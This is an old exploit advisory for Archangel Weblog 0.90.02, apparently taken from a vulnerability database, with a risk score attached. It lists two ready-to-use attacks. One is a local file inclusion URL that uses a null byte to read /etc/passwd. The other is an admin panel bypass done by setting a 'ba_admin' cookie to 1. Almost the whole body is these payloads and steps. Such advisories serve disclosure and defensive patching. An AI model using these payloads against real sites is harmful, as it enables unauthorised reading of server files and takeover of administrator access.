Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vulns

🗓️ 06 May 2007 00:00:00Reported by RootType
Archangel Weblog 0.90.02 Local File Inclusion / Admin Bypass Vuln

                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\|///
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;-&nbsp;-&nbsp;&nbsp;//
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&nbsp;&nbsp;@&nbsp;@&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;----oOOo--(_)-oOOo--------------------------------------------------
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Portal&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;Archangel&nbsp;Weblog&nbsp;version&nbsp;0.90.02
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Home&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;http://www.archangelmgt.com/weblog.shtml
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Download&nbsp;:&nbsp;&nbsp;http://www.archangelmgt.com/Archangel_Weblog_v090_02.zip
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Author&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;Dj7xpl&nbsp;/&nbsp;[email protected]
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HomePage&nbsp;:&nbsp;&nbsp;http://Dj7xpl.2600.ir
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;&amp;&nbsp;Login&nbsp;Page&nbsp;Bypass&nbsp;By&nbsp;Cookie
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;----ooooO-----Ooooo--------------------------------------------------
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\_)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(_/



+---------------------------------------------------------------------------------------------+

Local&nbsp;File&nbsp;Include&nbsp;:

http://[TARGET]/[PATH]/index.php?index=[Local&nbsp;File]%00
http://Target.com/blog/index.php?index=../../../../etc/passwd%00

+---------------------------------------------------------------------------------------------+


+---------------------------------------------------------------------------------------------+

Edit&nbsp;Cookie&nbsp;:

Host&nbsp;&nbsp;:&nbsp;Target
Name&nbsp;&nbsp;:&nbsp;ba_admin
Value&nbsp;:&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;------&nbsp;(Admin&nbsp;User&nbsp;Id)

And&nbsp;Go&nbsp;To&nbsp;Admin&nbsp;Panel&nbsp;:

http://[Target]/[Path]/Admin/

+---------------------------------------------------------------------------------------------+
06 May 2007 00:00Current
7.1High risk
Vulners AI Score7.1